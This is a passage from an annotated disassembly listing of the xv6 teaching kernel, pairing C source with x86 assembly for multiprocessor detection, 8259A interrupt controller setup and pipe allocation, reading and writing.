80103bc2: 00 00 00
lapic = (uint*)conf->lapicaddr;
80103bc5: 8b 45 f0 mov -0x10(%ebp),%eax
80103bc8: 8b 40 24 mov 0x24(%eax),%eax
80103bcb: a3 7c 32 11 80 mov %eax,0x8011327c
for(p=(uchar*)(conf+1), e=(uchar*)conf+conf->length; p<e; ){
80103bd0: 8b 45 f0 mov -0x10(%ebp),%eax
80103bd3: 83 c0 2c add $0x2c,%eax
80103bd6: 89 45 f4 mov %eax,-0xc(%ebp)
80103bd9: 8b 45 f0 mov -0x10(%ebp),%eax
80103bdc: 0f b7 40 04 movzwl 0x4(%eax),%eax
80103be0: 0f b7 d0 movzwl %ax,%edx
80103be3: 8b 45 f0 mov -0x10(%ebp),%eax
80103be6: 01 d0 add %edx,%eax
80103be8: 89 45 ec mov %eax,-0x14(%ebp)
80103beb: e9 f4 00 00 00 jmp 80103ce4 <mpinit+0x152>
switch(*p){
80103bf0: 8b 45 f4 mov -0xc(%ebp),%eax
80103bf3: 0f b6 00 movzbl (%eax),%eax
80103bf6: 0f b6 c0 movzbl %al,%eax
80103bf9: 83 f8 04 cmp $0x4,%eax
80103bfc: 0f 87 bf 00 00 00 ja 80103cc1 <mpinit+0x12f>
80103c02: 8b 04 85 54 8c 10 80 mov -0x7fef73ac(,%eax,4),%eax
80103c09: ff e0 jmp *%eax
case MPPROC:
proc = (struct mpproc*)p;
80103c0b: 8b 45 f4 mov -0xc(%ebp),%eax
80103c0e: 89 45 e8 mov %eax,-0x18(%ebp)
if(ncpu != proc->apicid){
80103c11: 8b 45 e8 mov -0x18(%ebp),%eax
80103c14: 0f b6 40 01 movzbl 0x1(%eax),%eax
80103c18: 0f b6 d0 movzbl %al,%edx
80103c1b: a1 60 39 11 80 mov 0x80113960,%eax
80103c20: 39 c2 cmp %eax,%edx
80103c22: 74 2d je 80103c51 <mpinit+0xbf>
cprintf("mpinit: ncpu=%d apicid=%d\n", ncpu, proc->apicid);
80103c24: 8b 45 e8 mov -0x18(%ebp),%eax
80103c27: 0f b6 40 01 movzbl 0x1(%eax),%eax
80103c2b: 0f b6 d0 movzbl %al,%edx
80103c2e: a1 60 39 11 80 mov 0x80113960,%eax
80103c33: 89 54 24 08 mov %edx,0x8(%esp)
80103c37: 89 44 24 04 mov %eax,0x4(%esp)
80103c3b: c7 04 24 16 8c 10 80 movl $0x80108c16,(%esp)
80103c42: e8 59 c7 ff ff call 801003a0 <cprintf>
ismp = 0;
80103c47: c7 05 64 33 11 80 00 movl $0x0,0x80113364
80103c4e: 00 00 00
}
if(proc->flags & MPBOOT)
80103c51: 8b 45 e8 mov -0x18(%ebp),%eax
80103c54: 0f b6 40 03 movzbl 0x3(%eax),%eax
80103c58: 0f b6 c0 movzbl %al,%eax
80103c5b: 83 e0 02 and $0x2,%eax
80103c5e: 85 c0 test %eax,%eax
80103c60: 74 15 je 80103c77 <mpinit+0xe5>
bcpu = &cpus[ncpu];
80103c62: a1 60 39 11 80 mov 0x80113960,%eax
80103c67: 69 c0 bc 00 00 00 imul $0xbc,%eax,%eax
80103c6d: 05 80 33 11 80 add $0x80113380,%eax
80103c72: a3 64 c6 10 80 mov %eax,0x8010c664
cpus[ncpu].id = ncpu;
80103c77: 8b 15 60 39 11 80 mov 0x80113960,%edx
80103c7d: a1 60 39 11 80 mov 0x80113960,%eax
80103c82: 69 d2 bc 00 00 00 imul $0xbc,%edx,%edx
80103c88: 81 c2 80 33 11 80 add $0x80113380,%edx
80103c8e: 88 02 mov %al,(%edx)
ncpu++;
80103c90: a1 60 39 11 80 mov 0x80113960,%eax
80103c95: 83 c0 01 add $0x1,%eax
80103c98: a3 60 39 11 80 mov %eax,0x80113960
p += sizeof(struct mpproc);
80103c9d: 83 45 f4 14 addl $0x14,-0xc(%ebp)
continue;
80103ca1: eb 41 jmp 80103ce4 <mpinit+0x152>
case MPIOAPIC:
ioapic = (struct mpioapic*)p;
80103ca3: 8b 45 f4 mov -0xc(%ebp),%eax
80103ca6: 89 45 e4 mov %eax,-0x1c(%ebp)
ioapicid = ioapic->apicno;
80103ca9: 8b 45 e4 mov -0x1c(%ebp),%eax
80103cac: 0f b6 40 01 movzbl 0x1(%eax),%eax
80103cb0: a2 60 33 11 80 mov %al,0x80113360
p += sizeof(struct mpioapic);
80103cb5: 83 45 f4 08 addl $0x8,-0xc(%ebp)
continue;
80103cb9: eb 29 jmp 80103ce4 <mpinit+0x152>
case MPBUS:
case MPIOINTR:
case MPLINTR:
p += 8;
80103cbb: 83 45 f4 08 addl $0x8,-0xc(%ebp)
continue;
80103cbf: eb 23 jmp 80103ce4 <mpinit+0x152>
default:
cprintf("mpinit: unknown config type %x\n", *p);
80103cc1: 8b 45 f4 mov -0xc(%ebp),%eax
80103cc4: 0f b6 00 movzbl (%eax),%eax
80103cc7: 0f b6 c0 movzbl %al,%eax
80103cca: 89 44 24 04 mov %eax,0x4(%esp)
80103cce: c7 04 24 34 8c 10 80 movl $0x80108c34,(%esp)
80103cd5: e8 c6 c6 ff ff call 801003a0 <cprintf>
ismp = 0;
80103cda: c7 05 64 33 11 80 00 movl $0x0,0x80113364
80103ce1: 00 00 00
bcpu = &cpus[0];
if((conf = mpconfig(&mp)) == 0)
return;
ismp = 1;
lapic = (uint*)conf->lapicaddr;
for(p=(uchar*)(conf+1), e=(uchar*)conf+conf->length; p<e; ){
80103ce4: 8b 45 f4 mov -0xc(%ebp),%eax
80103ce7: 3b 45 ec cmp -0x14(%ebp),%eax
80103cea: 0f 82 00 ff ff ff jb 80103bf0 <mpinit+0x5e>
default:
cprintf("mpinit: unknown config type %x\n", *p);
ismp = 0;
}
}
if(!ismp){
80103cf0: a1 64 33 11 80 mov 0x80113364,%eax
80103cf5: 85 c0 test %eax,%eax
80103cf7: 75 1d jne 80103d16 <mpinit+0x184>
// Didn't like what we found; fall back to no MP.
ncpu = 1;
80103cf9: c7 05 60 39 11 80 01 movl $0x1,0x80113960
80103d00: 00 00 00
lapic = 0;
80103d03: c7 05 7c 32 11 80 00 movl $0x0,0x8011327c
80103d0a: 00 00 00
ioapicid = 0;
80103d0d: c6 05 60 33 11 80 00 movb $0x0,0x80113360
return;
80103d14: eb 41 jmp 80103d57 <mpinit+0x1c5>
}
if(mp->imcrp){
80103d16: 8b 45 e0 mov -0x20(%ebp),%eax
80103d19: 0f b6 40 0c movzbl 0xc(%eax),%eax
80103d1d: 84 c0 test %al,%al
80103d1f: 74 36 je 80103d57 <mpinit+0x1c5>
// Bochs doesn't support IMCR, so this doesn't run on Bochs.
// But it would on real hardware.
outb(0x22, 0x70); // Select IMCR
80103d21: c7 44 24 04 70 00 00 movl $0x70,0x4(%esp)
80103d28: 00
80103d29: c7 04 24 22 00 00 00 movl $0x22,(%esp)
80103d30: e8 0d fc ff ff call 80103942 <outb>
outb(0x23, inb(0x23) | 1); // Mask external interrupts.
80103d35: c7 04 24 23 00 00 00 movl $0x23,(%esp)
80103d3c: e8 e4 fb ff ff call 80103925 <inb>
80103d41: 83 c8 01 or $0x1,%eax
80103d44: 0f b6 c0 movzbl %al,%eax
80103d47: 89 44 24 04 mov %eax,0x4(%esp)
80103d4b: c7 04 24 23 00 00 00 movl $0x23,(%esp)
80103d52: e8 eb fb ff ff call 80103942 <outb>
}
}
80103d57: c9 leave
80103d58: c3 ret
80103d59: 66 90 xchg %ax,%ax
80103d5b: 90 nop
80103d5c <outb>:
"memory", "cc");
}
static inline void
outb(ushort port, uchar data)
{
80103d5c: 55 push %ebp
80103d5d: 89 e5 mov %esp,%ebp
80103d5f: 83 ec 08 sub $0x8,%esp
80103d62: 8b 55 08 mov 0x8(%ebp),%edx
80103d65: 8b 45 0c mov 0xc(%ebp),%eax
80103d68: 66 89 55 fc mov %dx,-0x4(%ebp)
80103d6c: 88 45 f8 mov %al,-0x8(%ebp)
asm volatile("out %0,%1" : : "a" (data), "d" (port));
80103d6f: 0f b6 45 f8 movzbl -0x8(%ebp),%eax
80103d73: 0f b7 55 fc movzwl -0x4(%ebp),%edx
80103d77: ee out %al,(%dx)
}
80103d78: c9 leave
80103d79: c3 ret
80103d7a <picsetmask>:
// Initial IRQ mask has interrupt 2 enabled (for slave 8259A).
static ushort irqmask = 0xFFFF & ~(1<<IRQ_SLAVE);
static void
picsetmask(ushort mask)
{
80103d7a: 55 push %ebp
80103d7b: 89 e5 mov %esp,%ebp
80103d7d: 83 ec 0c sub $0xc,%esp
80103d80: 8b 45 08 mov 0x8(%ebp),%eax
80103d83: 66 89 45 fc mov %ax,-0x4(%ebp)
irqmask = mask;
80103d87: 0f b7 45 fc movzwl -0x4(%ebp),%eax
80103d8b: 66 a3 00 c0 10 80 mov %ax,0x8010c000
outb(IO_PIC1+1, mask);
80103d91: 0f b7 45 fc movzwl -0x4(%ebp),%eax
80103d95: 0f b6 c0 movzbl %al,%eax
80103d98: 89 44 24 04 mov %eax,0x4(%esp)
80103d9c: c7 04 24 21 00 00 00 movl $0x21,(%esp)
80103da3: e8 b4 ff ff ff call 80103d5c <outb>
outb(IO_PIC2+1, mask >> 8);
80103da8: 0f b7 45 fc movzwl -0x4(%ebp),%eax
80103dac: 66 c1 e8 08 shr $0x8,%ax
80103db0: 0f b6 c0 movzbl %al,%eax
80103db3: 89 44 24 04 mov %eax,0x4(%esp)
80103db7: c7 04 24 a1 00 00 00 movl $0xa1,(%esp)
80103dbe: e8 99 ff ff ff call 80103d5c <outb>
}
80103dc3: c9 leave
80103dc4: c3 ret
80103dc5 <picenable>:
void
picenable(int irq)
{
80103dc5: 55 push %ebp
80103dc6: 89 e5 mov %esp,%ebp
80103dc8: 83 ec 04 sub $0x4,%esp
picsetmask(irqmask & ~(1<<irq));
80103dcb: 8b 45 08 mov 0x8(%ebp),%eax
80103dce: ba 01 00 00 00 mov $0x1,%edx
80103dd3: 89 c1 mov %eax,%ecx
80103dd5: d3 e2 shl %cl,%edx
80103dd7: 89 d0 mov %edx,%eax
80103dd9: f7 d0 not %eax
80103ddb: 89 c2 mov %eax,%edx
80103ddd: 0f b7 05 00 c0 10 80 movzwl 0x8010c000,%eax
80103de4: 21 d0 and %edx,%eax
80103de6: 0f b7 c0 movzwl %ax,%eax
80103de9: 89 04 24 mov %eax,(%esp)
80103dec: e8 89 ff ff ff call 80103d7a <picsetmask>
}
80103df1: c9 leave
80103df2: c3 ret
80103df3 <picinit>:
// Initialize the 8259A interrupt controllers.
void
picinit(void)
{
80103df3: 55 push %ebp
80103df4: 89 e5 mov %esp,%ebp
80103df6: 83 ec 08 sub $0x8,%esp
// mask all interrupts
outb(IO_PIC1+1, 0xFF);
80103df9: c7 44 24 04 ff 00 00 movl $0xff,0x4(%esp)
80103e00: 00
80103e01: c7 04 24 21 00 00 00 movl $0x21,(%esp)
80103e08: e8 4f ff ff ff call 80103d5c <outb>
outb(IO_PIC2+1, 0xFF);
80103e0d: c7 44 24 04 ff 00 00 movl $0xff,0x4(%esp)
80103e14: 00
80103e15: c7 04 24 a1 00 00 00 movl $0xa1,(%esp)
80103e1c: e8 3b ff ff ff call 80103d5c <outb>
// ICW1: 0001g0hi
// g: 0 = edge triggering, 1 = level triggering
// h: 0 = cascaded PICs, 1 = master only
// i: 0 = no ICW4, 1 = ICW4 required
outb(IO_PIC1, 0x11);
80103e21: c7 44 24 04 11 00 00 movl $0x11,0x4(%esp)
80103e28: 00
80103e29: c7 04 24 20 00 00 00 movl $0x20,(%esp)
80103e30: e8 27 ff ff ff call 80103d5c <outb>
// ICW2: Vector offset
outb(IO_PIC1+1, T_IRQ0);
80103e35: c7 44 24 04 20 00 00 movl $0x20,0x4(%esp)
80103e3c: 00
80103e3d: c7 04 24 21 00 00 00 movl $0x21,(%esp)
80103e44: e8 13 ff ff ff call 80103d5c <outb>
// ICW3: (master PIC) bit mask of IR lines connected to slaves
// (slave PIC) 3-bit # of slave's connection to master
outb(IO_PIC1+1, 1<<IRQ_SLAVE);
80103e49: c7 44 24 04 04 00 00 movl $0x4,0x4(%esp)
80103e50: 00
80103e51: c7 04 24 21 00 00 00 movl $0x21,(%esp)
80103e58: e8 ff fe ff ff call 80103d5c <outb>
// m: 0 = slave PIC, 1 = master PIC
// (ignored when b is 0, as the master/slave role
// can be hardwired).
// a: 1 = Automatic EOI mode
// p: 0 = MCS-80/85 mode, 1 = intel x86 mode
outb(IO_PIC1+1, 0x3);
80103e5d: c7 44 24 04 03 00 00 movl $0x3,0x4(%esp)
80103e64: 00
80103e65: c7 04 24 21 00 00 00 movl $0x21,(%esp)
80103e6c: e8 eb fe ff ff call 80103d5c <outb>
// Set up slave (8259A-2)
outb(IO_PIC2, 0x11); // ICW1
80103e71: c7 44 24 04 11 00 00 movl $0x11,0x4(%esp)
80103e78: 00
80103e79: c7 04 24 a0 00 00 00 movl $0xa0,(%esp)
80103e80: e8 d7 fe ff ff call 80103d5c <outb>
outb(IO_PIC2+1, T_IRQ0 + 8); // ICW2
80103e85: c7 44 24 04 28 00 00 movl $0x28,0x4(%esp)
80103e8c: 00
80103e8d: c7 04 24 a1 00 00 00 movl $0xa1,(%esp)
80103e94: e8 c3 fe ff ff call 80103d5c <outb>
outb(IO_PIC2+1, IRQ_SLAVE); // ICW3
80103e99: c7 44 24 04 02 00 00 movl $0x2,0x4(%esp)
80103ea0: 00
80103ea1: c7 04 24 a1 00 00 00 movl $0xa1,(%esp)
80103ea8: e8 af fe ff ff call 80103d5c <outb>
// NB Automatic EOI mode doesn't tend to work on the slave.
// Linux source code says it's "to be investigated".
outb(IO_PIC2+1, 0x3); // ICW4
80103ead: c7 44 24 04 03 00 00 movl $0x3,0x4(%esp)
80103eb4: 00
80103eb5: c7 04 24 a1 00 00 00 movl $0xa1,(%esp)
80103ebc: e8 9b fe ff ff call 80103d5c <outb>
// OCW3: 0ef01prs
// ef: 0x = NOP, 10 = clear specific mask, 11 = set specific mask
// p: 0 = no polling, 1 = polling mode
// rs: 0x = NOP, 10 = read IRR, 11 = read ISR
outb(IO_PIC1, 0x68); // clear specific mask
80103ec1: c7 44 24 04 68 00 00 movl $0x68,0x4(%esp)
80103ec8: 00
80103ec9: c7 04 24 20 00 00 00 movl $0x20,(%esp)
80103ed0: e8 87 fe ff ff call 80103d5c <outb>
outb(IO_PIC1, 0x0a); // read IRR by default
80103ed5: c7 44 24 04 0a 00 00 movl $0xa,0x4(%esp)
80103edc: 00
80103edd: c7 04 24 20 00 00 00 movl $0x20,(%esp)
80103ee4: e8 73 fe ff ff call 80103d5c <outb>
outb(IO_PIC2, 0x68); // OCW3
80103ee9: c7 44 24 04 68 00 00 movl $0x68,0x4(%esp)
80103ef0: 00
80103ef1: c7 04 24 a0 00 00 00 movl $0xa0,(%esp)
80103ef8: e8 5f fe ff ff call 80103d5c <outb>
outb(IO_PIC2, 0x0a); // OCW3
80103efd: c7 44 24 04 0a 00 00 movl $0xa,0x4(%esp)
80103f04: 00
80103f05: c7 04 24 a0 00 00 00 movl $0xa0,(%esp)
80103f0c: e8 4b fe ff ff call 80103d5c <outb>
if(irqmask != 0xFFFF)
80103f11: 0f b7 05 00 c0 10 80 movzwl 0x8010c000,%eax
80103f18: 66 83 f8 ff cmp $0xffff,%ax
80103f1c: 74 12 je 80103f30 <picinit+0x13d>
picsetmask(irqmask);
80103f1e: 0f b7 05 00 c0 10 80 movzwl 0x8010c000,%eax
80103f25: 0f b7 c0 movzwl %ax,%eax
80103f28: 89 04 24 mov %eax,(%esp)
80103f2b: e8 4a fe ff ff call 80103d7a <picsetmask>
}
80103f30: c9 leave
80103f31: c3 ret
80103f32: 66 90 xchg %ax,%ax
80103f34 <pipealloc>:
int writeopen; // write fd is still open
};
int
pipealloc(struct file **f0, struct file **f1)
{
80103f34: 55 push %ebp
80103f35: 89 e5 mov %esp,%ebp
80103f37: 83 ec 28 sub $0x28,%esp
struct pipe *p;
p = 0;
80103f3a: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
*f0 = *f1 = 0;
80103f41: 8b 45 0c mov 0xc(%ebp),%eax
80103f44: c7 00 00 00 00 00 movl $0x0,(%eax)
80103f4a: 8b 45 0c mov 0xc(%ebp),%eax
80103f4d: 8b 10 mov (%eax),%edx
80103f4f: 8b 45 08 mov 0x8(%ebp),%eax
80103f52: 89 10 mov %edx,(%eax)
if((*f0 = filealloc()) == 0 || (*f1 = filealloc()) == 0)
80103f54: e8 cf cf ff ff call 80100f28 <filealloc>
80103f59: 8b 55 08 mov 0x8(%ebp),%edx
80103f5c: 89 02 mov %eax,(%edx)
80103f5e: 8b 45 08 mov 0x8(%ebp),%eax
80103f61: 8b 00 mov (%eax),%eax
80103f63: 85 c0 test %eax,%eax
80103f65: 0f 84 c8 00 00 00 je 80104033 <pipealloc+0xff>
80103f6b: e8 b8 cf ff ff call 80100f28 <filealloc>
80103f70: 8b 55 0c mov 0xc(%ebp),%edx
80103f73: 89 02 mov %eax,(%edx)
80103f75: 8b 45 0c mov 0xc(%ebp),%eax
80103f78: 8b 00 mov (%eax),%eax
80103f7a: 85 c0 test %eax,%eax
80103f7c: 0f 84 b1 00 00 00 je 80104033 <pipealloc+0xff>
goto bad;
if((p = (struct pipe*)kalloc()) == 0)
80103f82: e8 64 eb ff ff call 80102aeb <kalloc>
80103f87: 89 45 f4 mov %eax,-0xc(%ebp)
80103f8a: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
80103f8e: 75 05 jne 80103f95 <pipealloc+0x61>
goto bad;
80103f90: e9 9e 00 00 00 jmp 80104033 <pipealloc+0xff>
p->readopen = 1;
80103f95: 8b 45 f4 mov -0xc(%ebp),%eax
80103f98: c7 80 3c 02 00 00 01 movl $0x1,0x23c(%eax)
80103f9f: 00 00 00
p->writeopen = 1;
80103fa2: 8b 45 f4 mov -0xc(%ebp),%eax
80103fa5: c7 80 40 02 00 00 01 movl $0x1,0x240(%eax)
80103fac: 00 00 00
p->nwrite = 0;
80103faf: 8b 45 f4 mov -0xc(%ebp),%eax
80103fb2: c7 80 38 02 00 00 00 movl $0x0,0x238(%eax)
80103fb9: 00 00 00
p->nread = 0;
80103fbc: 8b 45 f4 mov -0xc(%ebp),%eax
80103fbf: c7 80 34 02 00 00 00 movl $0x0,0x234(%eax)
80103fc6: 00 00 00
initlock(&p->lock, "pipe");
80103fc9: 8b 45 f4 mov -0xc(%ebp),%eax
80103fcc: c7 44 24 04 68 8c 10 movl $0x80108c68,0x4(%esp)
80103fd3: 80
80103fd4: 89 04 24 mov %eax,(%esp)
80103fd7: e8 66 12 00 00 call 80105242 <initlock>
(*f0)->type = FD_PIPE;
80103fdc: 8b 45 08 mov 0x8(%ebp),%eax
80103fdf: 8b 00 mov (%eax),%eax
80103fe1: c7 00 01 00 00 00 movl $0x1,(%eax)
(*f0)->readable = 1;
80103fe7: 8b 45 08 mov 0x8(%ebp),%eax
80103fea: 8b 00 mov (%eax),%eax
80103fec: c6 40 08 01 movb $0x1,0x8(%eax)
(*f0)->writable = 0;
80103ff0: 8b 45 08 mov 0x8(%ebp),%eax
80103ff3: 8b 00 mov (%eax),%eax
80103ff5: c6 40 09 00 movb $0x0,0x9(%eax)
(*f0)->pipe = p;
80103ff9: 8b 45 08 mov 0x8(%ebp),%eax
80103ffc: 8b 00 mov (%eax),%eax
80103ffe: 8b 55 f4 mov -0xc(%ebp),%edx
80104001: 89 50 0c mov %edx,0xc(%eax)
(*f1)->type = FD_PIPE;
80104004: 8b 45 0c mov 0xc(%ebp),%eax
80104007: 8b 00 mov (%eax),%eax
80104009: c7 00 01 00 00 00 movl $0x1,(%eax)
(*f1)->readable = 0;
8010400f: 8b 45 0c mov 0xc(%ebp),%eax
80104012: 8b 00 mov (%eax),%eax
80104014: c6 40 08 00 movb $0x0,0x8(%eax)
(*f1)->writable = 1;
80104018: 8b 45 0c mov 0xc(%ebp),%eax
8010401b: 8b 00 mov (%eax),%eax
8010401d: c6 40 09 01 movb $0x1,0x9(%eax)
(*f1)->pipe = p;
80104021: 8b 45 0c mov 0xc(%ebp),%eax
80104024: 8b 00 mov (%eax),%eax
80104026: 8b 55 f4 mov -0xc(%ebp),%edx
80104029: 89 50 0c mov %edx,0xc(%eax)
return 0;
8010402c: b8 00 00 00 00 mov $0x0,%eax
80104031: eb 42 jmp 80104075 <pipealloc+0x141>
//PAGEBREAK: 20
bad:
if(p)
80104033: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
80104037: 74 0b je 80104044 <pipealloc+0x110>
kfree((char*)p);
80104039: 8b 45 f4 mov -0xc(%ebp),%eax
8010403c: 89 04 24 mov %eax,(%esp)
8010403f: e8 0e ea ff ff call 80102a52 <kfree>
if(*f0)
80104044: 8b 45 08 mov 0x8(%ebp),%eax
80104047: 8b 00 mov (%eax),%eax
80104049: 85 c0 test %eax,%eax
8010404b: 74 0d je 8010405a <pipealloc+0x126>
fileclose(*f0);
8010404d: 8b 45 08 mov 0x8(%ebp),%eax
80104050: 8b 00 mov (%eax),%eax
80104052: 89 04 24 mov %eax,(%esp)
80104055: e8 76 cf ff ff call 80100fd0 <fileclose>
if(*f1)
8010405a: 8b 45 0c mov 0xc(%ebp),%eax
8010405d: 8b 00 mov (%eax),%eax
8010405f: 85 c0 test %eax,%eax
80104061: 74 0d je 80104070 <pipealloc+0x13c>
fileclose(*f1);
80104063: 8b 45 0c mov 0xc(%ebp),%eax
80104066: 8b 00 mov (%eax),%eax
80104068: 89 04 24 mov %eax,(%esp)
8010406b: e8 60 cf ff ff call 80100fd0 <fileclose>
return -1;
80104070: b8 ff ff ff ff mov $0xffffffff,%eax
}
80104075: c9 leave
80104076: c3 ret
80104077 <pipeclose>:
void
pipeclose(struct pipe *p, int writable)
{
80104077: 55 push %ebp
80104078: 89 e5 mov %esp,%ebp
8010407a: 83 ec 18 sub $0x18,%esp
acquire(&p->lock);
8010407d: 8b 45 08 mov 0x8(%ebp),%eax
80104080: 89 04 24 mov %eax,(%esp)
80104083: e8 db 11 00 00 call 80105263 <acquire>
if(writable){
80104088: 83 7d 0c 00 cmpl $0x0,0xc(%ebp)
8010408c: 74 1f je 801040ad <pipeclose+0x36>
p->writeopen = 0;
8010408e: 8b 45 08 mov 0x8(%ebp),%eax
80104091: c7 80 40 02 00 00 00 movl $0x0,0x240(%eax)
80104098: 00 00 00
wakeup(&p->nread);
8010409b: 8b 45 08 mov 0x8(%ebp),%eax
8010409e: 05 34 02 00 00 add $0x234,%eax
801040a3: 89 04 24 mov %eax,(%esp)
801040a6: e8 bf 0f 00 00 call 8010506a <wakeup>
801040ab: eb 1d jmp 801040ca <pipeclose+0x53>
} else {
p->readopen = 0;
801040ad: 8b 45 08 mov 0x8(%ebp),%eax
801040b0: c7 80 3c 02 00 00 00 movl $0x0,0x23c(%eax)
801040b7: 00 00 00
wakeup(&p->nwrite);
801040ba: 8b 45 08 mov 0x8(%ebp),%eax
801040bd: 05 38 02 00 00 add $0x238,%eax
801040c2: 89 04 24 mov %eax,(%esp)
801040c5: e8 a0 0f 00 00 call 8010506a <wakeup>
}
if(p->readopen == 0 && p->writeopen == 0){
801040ca: 8b 45 08 mov 0x8(%ebp),%eax
801040cd: 8b 80 3c 02 00 00 mov 0x23c(%eax),%eax
801040d3: 85 c0 test %eax,%eax
801040d5: 75 25 jne 801040fc <pipeclose+0x85>
801040d7: 8b 45 08 mov 0x8(%ebp),%eax
801040da: 8b 80 40 02 00 00 mov 0x240(%eax),%eax
801040e0: 85 c0 test %eax,%eax
801040e2: 75 18 jne 801040fc <pipeclose+0x85>
release(&p->lock);
801040e4: 8b 45 08 mov 0x8(%ebp),%eax
801040e7: 89 04 24 mov %eax,(%esp)
801040ea: e8 d6 11 00 00 call 801052c5 <release>
kfree((char*)p);
801040ef: 8b 45 08 mov 0x8(%ebp),%eax
801040f2: 89 04 24 mov %eax,(%esp)
801040f5: e8 58 e9 ff ff call 80102a52 <kfree>
801040fa: eb 0b jmp 80104107 <pipeclose+0x90>
} else
release(&p->lock);
801040fc: 8b 45 08 mov 0x8(%ebp),%eax
801040ff: 89 04 24 mov %eax,(%esp)
80104102: e8 be 11 00 00 call 801052c5 <release>
}
80104107: c9 leave
80104108: c3 ret
80104109 <pipewrite>:
//PAGEBREAK: 40
int
pipewrite(struct pipe *p, char *addr, int n)
{
80104109: 55 push %ebp
8010410a: 89 e5 mov %esp,%ebp
8010410c: 83 ec 28 sub $0x28,%esp
int i;
acquire(&p->lock);
8010410f: 8b 45 08 mov 0x8(%ebp),%eax
80104112: 89 04 24 mov %eax,(%esp)
80104115: e8 49 11 00 00 call 80105263 <acquire>
for(i = 0; i < n; i++){
8010411a: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
80104121: e9 a6 00 00 00 jmp 801041cc <pipewrite+0xc3>
while(p->nwrite == p->nread + PIPESIZE){ //DOC: pipewrite-full
80104126: eb 57 jmp 8010417f <pipewrite+0x76>
if(p->readopen == 0 || proc->killed){
80104128: 8b 45 08 mov 0x8(%ebp),%eax
8010412b: 8b 80 3c 02 00 00 mov 0x23c(%eax),%eax
80104131: 85 c0 test %eax,%eax
80104133: 74 0d je 80104142 <pipewrite+0x39>
80104135: 65 a1 04 00 00 00 mov %gs:0x4,%eax
8010413b: 8b 40 24 mov 0x24(%eax),%eax
8010413e: 85 c0 test %eax,%eax
80104140: 74 15 je 80104157 <pipewrite+0x4e>
release(&p->lock);
80104142: 8b 45 08 mov 0x8(%ebp),%eax
80104145: 89 04 24 mov %eax,(%esp)
80104148: e8 78 11 00 00 call 801052c5 <release>
return -1;
8010414d: b8 ff ff ff ff mov $0xffffffff,%eax
80104152: e9 9f 00 00 00 jmp 801041f6 <pipewrite+0xed>
}
wakeup(&p->nread);
80104157: 8b 45 08 mov 0x8(%ebp),%eax
8010415a: 05 34 02 00 00 add $0x234,%eax
8010415f: 89 04 24 mov %eax,(%esp)
80104162: e8 03 0f 00 00 call 8010506a <wakeup>
sleep(&p->nwrite, &p->lock); //DOC: pipewrite-sleep
80104167: 8b 45 08 mov 0x8(%ebp),%eax
8010416a: 8b 55 08 mov 0x8(%ebp),%edx
8010416d: 81 c2 38 02 00 00 add $0x238,%edx
80104173: 89 44 24 04 mov %eax,0x4(%esp)
80104177: 89 14 24 mov %edx,(%esp)
8010417a: e8 0f 0e 00 00 call 80104f8e <sleep>
{
int i;
acquire(&p->lock);
for(i = 0; i < n; i++){
while(p->nwrite == p->nread + PIPESIZE){ //DOC: pipewrite-full
8010417f: 8b 45 08 mov 0x8(%ebp),%eax
80104182: 8b 90 38 02 00 00 mov 0x238(%eax),%edx
80104188: 8b 45 08 mov 0x8(%ebp),%eax
8010418b: 8b 80 34 02 00 00 mov 0x234(%eax),%eax
80104191: 05 00 02 00 00 add $0x200,%eax
80104196: 39 c2 cmp %eax,%edx
80104198: 74 8e je 80104128 <pipewrite+0x1f>
return -1;
}
wakeup(&p->nread);
sleep(&p->nwrite, &p->lock); //DOC: pipewrite-sleep
}
p->data[p->nwrite++ % PIPESIZE] = addr[i];
8010419a: 8b 45 08 mov 0x8(%ebp),%eax
8010419d: 8b 80 38 02 00 00 mov 0x238(%eax),%eax
801041a3: 8d 48 01 lea 0x1(%eax),%ecx
801041a6: 8b 55 08 mov 0x8(%ebp),%edx
801041a9: 89 8a 38 02 00 00 mov %ecx,0x238(%edx)
801041af: 25 ff 01 00 00 and $0x1ff,%eax
801041b4: 89 c1 mov %eax,%ecx
801041b6: 8b 55 f4 mov -0xc(%ebp),%edx
801041b9: 8b 45 0c mov 0xc(%ebp),%eax
801041bc: 01 d0 add %edx,%eax
801041be: 0f b6 10 movzbl (%eax),%edx
801041c1: 8b 45 08 mov 0x8(%ebp),%eax
801041c4: 88 54 08 34 mov %dl,0x34(%eax,%ecx,1)
pipewrite(struct pipe *p, char *addr, int n)
{
int i;
acquire(&p->lock);
for(i = 0; i < n; i++){
801041c8: 83 45 f4 01 addl $0x1,-0xc(%ebp)
801041cc: 8b 45 f4 mov -0xc(%ebp),%eax
801041cf: 3b 45 10 cmp 0x10(%ebp),%eax
801041d2: 0f 8c 4e ff ff ff jl 80104126 <pipewrite+0x1d>
wakeup(&p->nread);
sleep(&p->nwrite, &p->lock); //DOC: pipewrite-sleep
}
p->data[p->nwrite++ % PIPESIZE] = addr[i];
}
wakeup(&p->nread); //DOC: pipewrite-wakeup1
801041d8: 8b 45 08 mov 0x8(%ebp),%eax
801041db: 05 34 02 00 00 add $0x234,%eax
801041e0: 89 04 24 mov %eax,(%esp)
801041e3: e8 82 0e 00 00 call 8010506a <wakeup>
release(&p->lock);
801041e8: 8b 45 08 mov 0x8(%ebp),%eax
801041eb: 89 04 24 mov %eax,(%esp)
801041ee: e8 d2 10 00 00 call 801052c5 <release>
return n;
801041f3: 8b 45 10 mov 0x10(%ebp),%eax
}
801041f6: c9 leave
801041f7: c3 ret
801041f8 <piperead>:
int
piperead(struct pipe *p, char *addr, int n)
{
801041f8: 55 push %ebp
801041f9: 89 e5 mov %esp,%ebp
801041fb: 53 push %ebx
801041fc: 83 ec 24 sub $0x24,%esp
int i;
acquire(&p->lock);
801041ff: 8b 45 08 mov 0x8(%ebp),%eax
80104202: 89 04 24 mov %eax,(%esp)
80104205: e8 59 10 00 00 call 80105263 <acquire>
while(p->nread == p->nwrite && p->writeopen){ //DOC: pipe-empty
8010420a: eb 3a jmp 80104246 <piperead+0x4e>
if(proc->killed){
8010420c: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80104212: 8b 40 24 mov 0x24(%eax),%eax
80104215: 85 c0 test %eax,%eax
80104217: 74 15 je 8010422e <piperead+0x36>
release(&p->lock);
80104219: 8b 45 08 mov 0x8(%ebp),%eax
8010421c: 89 04 24 mov %eax,(%esp)
8010421f: e8 a1 10 00 00 call 801052c5 <release>
return -1;
